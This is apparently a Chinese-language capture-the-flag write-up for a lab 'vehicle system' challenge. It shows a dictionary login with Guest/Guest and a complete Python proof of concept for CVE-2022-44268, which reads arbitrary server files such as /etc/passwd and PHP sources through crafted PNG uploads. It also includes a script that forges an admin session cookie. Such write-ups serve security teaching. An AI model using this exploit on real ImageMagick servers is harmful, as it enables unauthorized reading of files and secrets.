0x01 题目:

对访客开放的车载系统,进入环境:http://172.35.8.73/

image-20230531094745262

0x02 题解:

在登入页面使用字典跑一遍,发现Guest/Guest可以登入:

image-20230531094915874

进入后页面:

image-20230531094938097

根据hint,涉及到的漏洞CVE-2022-44268

利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#!/usr/bin/env python3
import sys
import png
import zlib
import argparse
import binascii
import logging

logging.basicConfig(stream=sys.stderr, level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
d = zlib.decompressobj()
e = zlib.compressobj()
IHDR = b'\x00\x00\x00\n\x00\x00\x00\n\x08\x02\x00\x00\x00'
IDAT = b'x\x9c\xbd\xcc\xa1\x11\xc0 \x0cF\xe1\xb4\x03D\x91\x8b`\xffm\x98\x010\x89\x01\xc5\x00\xfc\xb8\n\x8eV\xf6\xd9' \
b'\xef\xee])%z\xef\xfe\xb0\x9f\xb8\xf7^J!\xa2Zkkm\xe7\x10\x02\x80\x9c\xf3\x9cSD\x0esU\x1dc\xa8\xeaa\x0e\xc0' \
b'\xccb\x8cf\x06`gwgf\x11afw\x7fx\x01^K+F'


def parse_data(data: bytes) -> str:
_, data = data.strip().split(b'\n', 1)
print(data.replace(b'\n', b''))
return binascii.unhexlify(data.replace(b'\n', b'')).decode()


def read(filename: str):
if not filename:
logging.error('you must specify a input filename')
return

res = ''
p = png.Reader(filename=filename)
for k, v in p.chunks():
logging.info("chunk %s found, value = %r", k.decode(), v)
if k == b'zTXt':
name, data = v.split(b'\x00', 1)
res = parse_data(d.decompress(data[1:]))

if res:
sys.stdout.write(res)
sys.stdout.flush()


def write(from_filename, to_filename, read_filename):
if not to_filename:
logging.error('you must specify a output filename')
return

with open(to_filename, 'wb') as f:
f.write(png.signature)
if from_filename:
p = png.Reader(filename=from_filename)
for k, v in p.chunks():
if k != b'IEND':
png.write_chunk(f, k, v)
else:
png.write_chunk(f, b'IHDR', IHDR)
png.write_chunk(f, b'IDAT', IDAT)

png.write_chunk(f, b"tEXt", b"profile\x00" + read_filename.encode())
png.write_chunk(f, b'IEND', b'')


def main():
parser = argparse.ArgumentParser(description='POC for CVE-2022-44268')
parser.add_argument('action', type=str, choices=('generate', 'parse'))
parser.add_argument('-i', '--input', type=str, help='input filename')
parser.add_argument('-o', '--output', type=str, help='output filename')
parser.add_argument('-r', '--read', type=str, help='target file to read', default='/etc/passwd')
args = parser.parse_args()
if args.action == 'generate':
write(args.input, args.output, args.read)
elif args.action == 'parse':
read(args.input)
else:
logging.error("bad action")


if __name__ == '__main__':
main()

使用前记得安装一个pypng包安装代码如下:

1
pip3 install pypng

或者

1
python3 -m pip install pypng

先获取一下index.php使用指令如下:

1
./poc.py generate -o poc.png -r './index.php'

生成一个poc.png图片文件,然后上传到服务器,再右键图片下载下来,利用脚本进行解析:

1
./poc.py parse -i 6476fa0eb4cf4.png

同理可以任意读取user.phpupload.php,但是在这个过程中遇到点bug:

image-20230531182809088

这是由于代码中包含很多特殊字符,导致在处理图片文件时出现错误,这里进行修改,把对应的源数据用python的函数bytes.fromhex()进行解析,解析不了就去掉一些头或者尾

可能是原作者在内容处理没有做过多的修饰(

下面是通过任意读取获得的user.php内容:

1
2
3
4
5
6
7
8
9
10
11
······(省略一坨无效代码
<?php\r\n include("function.php");
$cookie = $_COOKIE['login_cookie'];
$decodedCookie = myDecrypt($cookie);
if ($decodedCookie === "admin") {
$isAdmin = true;
}
if ($isAdmin) {
$content = system("/readflag");
echo "<p>" . htmlspecialchars($content) . "</p>";
} \r\n ?>\r\n</body>\r\n</html>\r\n'

代码比较乱,但是可以在后面找到一个include("function.php");,并且有一个myDecrypt()函数,可以合理猜测获取flag关键的一步应该在function.php中。

继续上上面的步骤读取“function.php”,整理一下可以得到以下内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
function myDecrypt($data, $key="hello"){
$data = base64_decode($data);
$salt = substr(md5($key), 0, 8); //生成加密盐
$iv = substr($data, 0, 16); // 提取随机因素
$data = substr($data, 16); // 提取加密后的数据
$data = openssl_decrypt($data, 'AES-256-CBC', $salt.$key, OPENSSL_RAW_DATA, $iv);
// 使用 AES-256 进行对称解密
$data = str_rot13($data);
$data = base64_decode($data);
$data = gzuncompress($data);
//对字符串进行反变化

$data = str_replace('5', 'u', $data);
$data = str_replace('4', 'o', $data);
$data = str_replace('3', 'i', $data);
$data = str_replace('2', 'e', $data);
$data = str_replace('1', 'a', $data);
$data = strrev($data);
return $data; //admin -> 1dm3n
}

可以发现这又是一个套娃解密,反过来写就行了,就是要注意一下$data = substr($data, 16);在加密函数中应该是$data = $iv.$data;

最后得到的脚本应该是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$key="hello";
$data = "admin";
$data = strrev($data);
$data = str_replace('u', '5', $data);
$data = str_replace('o', '4', $data);
$data = str_replace('i', '3', $data);
$data = str_replace('e', '2', $data);
$data = str_replace('a', '1', $data);
$data = gzcompress($data);
$data = base64_encode($data);
echo("\n1base:".$data."\n");
$data = str_rot13($data);
echo("\n2rot:".$data."\n");
$salt = substr(md5($key), 0, 8); //生成加密盐
$iv = substr($data, 0, 16); // 提取随机因素
//$data = substr($data, 16); // 提取加密后的数据
//$data = "a111111111111111".$data;
$data = openssl_encrypt($data, 'AES-256-CBC', $salt.$key, OPENSSL_RAW_DATA, $iv);
echo("\n3aes:".$data."\n");
$data = $iv.$data;

echo("\n4add:".$data."\n");
$data = base64_encode($data);
echo("\n5result:".$data."\n");
echo(myDecrypt($data));

运行结果:

1
2
3
4
5
6
7
8
9
10
11
1base: eJzLM85NMQQABTcBpA==

2rot: rWmYZ85AZDDNOGpOcN==

3aes: ?6??!J??k?:????L??_g_y4???f-

4add: rWmYZ85AZDDNOGpO?6??!J??k?:????L??_g_y4???f-

5result: cldtWVo4NUFaREROT0dwT/c2hqsaIUrCxmsCpzoakpar40yNnV9nX3k0yeu17mYt

admin

把得到的result放到cookie中的login_cookie字段,访问/user.php就可以拿到flag了

image-20230531224304860